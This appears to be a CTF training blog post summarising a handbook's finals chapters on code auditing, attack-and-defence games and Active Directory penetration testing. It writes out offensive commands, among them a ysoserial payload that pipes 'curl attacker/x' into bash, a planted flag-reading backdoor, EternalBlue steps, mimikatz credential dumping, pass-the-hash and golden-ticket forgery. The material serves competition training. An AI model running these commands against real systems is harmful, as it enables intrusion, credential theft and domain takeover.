The training method behind a top Chinese CTF team: Part 6 the finals

CTF · Part 6

A CTF finals competition hall

This is Part 6 of my walk through "Handbook for CTFers", the training book from Nu1L, one of China's strongest CTF teams. Part 1 was the overview, and the parts since covered web, reverse engineering and PWN, cryptography, and forensics and misc. Those were the online qualifier, where you solve isolated challenges alone. This part is the finals, where the format changes completely: you work as a team against other teams, you defend your own services while attacking theirs, and you run a full network break-in from one foothold to domain admin.

Summary

Winning the finals is mostly preparation. The teams that place arrive with exploits already written, patches already staged, and scripts that steal and submit flags on their own. The round is too short to research during it, and the internet is often blocked once it starts. The work that decides the result happens before the clock begins.

The finals use three formats. Code auditing hands you the source and asks you to find the exploitable path before another team does. Attack and defence gives every team the same vulnerable service, so you patch yours to keep points and exploit the others to score. Penetration testing drops you in front of a network and asks you to chain one foothold into a domain-controller takeover. All three map onto a real job more directly than any qualifier challenge.

The territory

The book's second half splits into code auditing, AWD, and penetration testing. Here is the whole map before the detail.

#TechniqueWhat it doesTools
1PHP code auditTraces a request from entry point to a dangerous sinkPhpStorm, Xdebug
2Java code auditFinds deserialization gadget chains in sourceIntelliJ, ysoserial
3AWD preparationStockpiles exploits and patches before the roundknown CVEs
4AWD defencePatches the service and kills planted backdoorsfind, diff
5AWD flag theftSteals and submits flags on a schedule, quietlycrontab, webshell
6Known-CVE exploitsLands a public exploit for a SYSTEM shellMetasploit
7Credential theftPulls passwords and hashes from a live hostmimikatz, secretsdump
8PivotingRoutes attacks through a foothold into a hidden networkproxychains, Venom
9Pass-the-hashAuthenticates with a stolen NTLM hash, no passwordmimikatz
10Kerberos ticketsForges golden and silver tickets for persistencemimikatz
11MS14-068Forges a PAC to jump from a user to domain adminimpacket

Code auditing: find the bug in the source

PHP code auditing

In the finals you get the source, so auditing is finding the one exploitable path through it before anyone else does. The method is to start at the framework's entry point and follow a request: how the router splits a URL into a controller and an action, how it binds request parameters to that function's arguments, and where user input finally reaches a dangerous call.

the audit path (ThinkPHP 5 as the book's worked example):
public/index.php -> App::run -> routeCheck -> parseUrl (/module/controller/action)
  -> module() instantiates the controller -> invokeMethod binds request params
  -> trace each param to a sink: file_put_contents, include, call_user_func, exec

The book's real case is a file-download endpoint that took path= straight from the request, which gave arbitrary file read. That leaked the source, the source revealed an upload controller with no validation, and the chain ended in a web shell. The pattern is always download or read first, then read the source, map the controllers, and find the write or execute primitive.

Java code auditing

Java audits are mostly about deserialization. When an application calls readObject on data you control, you do not need a bug in the application itself, you need a chain of method calls inside its libraries that ends at code execution. ysoserial builds those chains for common libraries, and marshalsec does the same for the lookup-based ones.

# generate a serialized payload for a known-vulnerable library on the classpath
java -jar ysoserial.jar CommonsCollections6 "curl attacker/x|bash" > payload.bin
# Shiro: the famous case, a hardcoded AES key encrypts the cookie, so you
# encrypt a ysoserial payload with that key and it deserializes on the server

The detail that bites is serialVersionUID. A gadget fails if the serialized class version does not match the target's, so part of the craft is pinning the right version for the environment you are attacking. The book treats Shiro, with its hardcoded cookie key, as the case worth knowing cold.

AWD: attack and defend at once

Preparation

AWD is the common finals format, and it is won before it starts. Every team runs the same vulnerable services, usually real content-management systems with known holes, and the internet is often blocked once the round begins. So you arrive with working exploits for the likely CVEs already in hand, because you cannot look them up mid-round.

# before the round: build and test an exploit for each likely service CVE,
# e.g. Drupalgeddon2 (CVE-2018-7600), so it is ready to fire on every team at once
for host in $(cat targets.txt); do python3 drupalgeddon2.py "$host"; done

Defence

You lose points when your service goes down or gets a flag stolen, so defence is half the score. The first minutes are a scramble to find the planted bug and patch it without breaking the service the organiser keeps checking. You diff the given application against the clean original, find the small added file or the weakened function, and remove backdoors other teams drop on you.

# find suspicious small or recently-added PHP files and read them
find . -name '*.php' | xargs wc -l | sort -n | head
# kill a self-rewriting web shell, then block it from recreating its file
ps aux | grep www-data | awk '{print $2}' | xargs kill
mkdir shell.php    # a directory where the shell wants to write its file

Flag theft

Scoring means stealing other teams' flags, which refresh every tick, and submitting them before the tick ends. Doing it by hand does not scale, so you plant a quiet, persistent read and automate the submission. The art is being hard to notice and hard to evict.

# read the flag through a line added to an always-included file
header('flag:'.file_get_contents('/tmp/flag'));
# submit on a schedule so you score every tick without touching the keyboard
*/1 * * * * curl organizer/submit -d flag=$(cat /tmp/flag)

Hide the backdoor somewhere that does not look like an obvious .php, and give each team's shell a unique password (derived from the host) so rivals cannot reuse your access against the whole field. The book is firm that blanket defences which break the game for everyone are poor form; report a platform bug rather than abuse it.

Penetration testing: own the whole network

Known-vulnerability exploits

The pentest finals reward tool skill and fast learning more than deep research, because the targets run known-vulnerable software. Metasploit is the workhorse: scan, pick the matching module, set the target, and fire. MS17-010 (EternalBlue) against unpatched SMB and MS08-067 against old Windows both hand you a SYSTEM shell with no credentials.

msfconsole
msf> use auxiliary/scanner/smb/smb_ms17_010    # detect vulnerable hosts
msf> use exploit/windows/smb/ms17_010_eternalblue
msf> set RHOSTS 192.168.2.0/24
msf> run                                        # SYSTEM meterpreter on a hit

Credential theft

Once you have SYSTEM on one host, you take its secrets, because they open the next host. mimikatz reads plaintext passwords and NTLM hashes out of memory and the local account database; on a domain controller, a dcsync pulls every account's hash without touching disk.

mimikatz, the standard pulls:
  sekurlsa::logonPasswords full   -> plaintext and NTLM from LSASS memory
  lsadump::sam                     -> local account hashes from SAM
  lsadump::dcsync /all /csv        -> every domain hash, run against the DC

Pivoting

The first host you own is rarely the target, and the interesting network is usually not routable from outside. So you turn the foothold into a relay. Metasploit's autoroute plus a SOCKS proxy, or a tool like Venom, lets your own machine reach the hidden subnet through the compromised host, and proxychains sends any other tool down that tunnel.

# in meterpreter: add a route to the internal subnet, then a SOCKS proxy
meterpreter> run autoroute -s 192.168.2.0/24
msf> use auxiliary/server/socks_proxy
# now drive any tool through it
proxychains nmap -sT -Pn 192.168.2.10

Active Directory takeover

The network ends at the domain controller, and Windows gives you several ways to reach it once you hold one domain host. Pass-the-hash authenticates with a stolen NTLM hash, no cracking needed. Kerberos ticket forgery is stronger: the krbtgt hash lets you mint a golden ticket that impersonates any user, and a service account's hash lets you mint a silver ticket that is stealthier because it never contacts the DC.

# pass the hash: become a user with their NTLM hash and no password
mimikatz> sekurlsa::pth /user:admin /domain:scanf.com /ntlm:<hash>
# golden ticket: forge a TGT with the krbtgt hash, impersonate anyone
mimikatz> kerberos::golden /user:any /domain:scanf.com /sid:<sid> /krbtgt:<hash> /ptt

When you only have an ordinary domain user, MS14-068 bridges the gap: it forges a Kerberos PAC that claims domain-admin rights, which an unpatched domain controller accepts. The book's closing case chains the whole path: a WordPress foothold, a phishing document to the next host, a pivot into the internal subnet, a Tomcat web shell that loots a database password, that password onto a Windows host, and finally MS14-068 to forge a ticket and read the domain controller's drive. One foothold, widened step by step, to the whole network.

Practice beats theory

1. The finals reward preparation. Exploits written in advance, patches staged, flag-submission scripts ready. The teams that win walk in with the work done, because the round is too short and too noisy to start from a blank page. This is the book's oldest lesson and its truest one.

2. Defence is half the game. In AWD a service that falls over loses you points even if no one breaks in. Keeping your service healthy while you patch it is a skill of its own, and it is the half that beginners forget while they chase other teams' flags.

3. One host is a doorway. A real network does not fall to a single exploit, it falls to a chain: a foothold, credentials looted from it, a pivot through it, and the domain controller at the end. The joining is the skill, the same lesson the web part taught, now at the scale of a whole network.

Prepare for CTF with CyberLearner

The finals skills, defence and chaining most of all, have hands-on labs on CyberLearner for free.

  • WAFShield. The AWD defender's job: build and tune firewall rules live against real attack tools hitting a vulnerable target, blocking exploits without breaking legitimate traffic.
  • Line Down. A server-authoritative incident-command simulation, the operations side of a finals: make the right calls under pressure as an attack unfolds.
  • Blackbox. A four-stage chain across web, crypto and reverse engineering, the finals habit of joining bug classes into one path.
  • Inkwell. A server-side request forgery that pivots into a loopback-only internal service and ends in remote code execution, a pentest chain in one lab.

Browse the full set on the challenges page.

Next

Part 7 closes the series with the newest category, smart contracts and blockchain: Part 7: smart contracts.

Sources


TopicsCTFAWDPenetration testingActive DirectoryCode auditing
Share this article LinkedIn X Facebook Email
← Back to all posts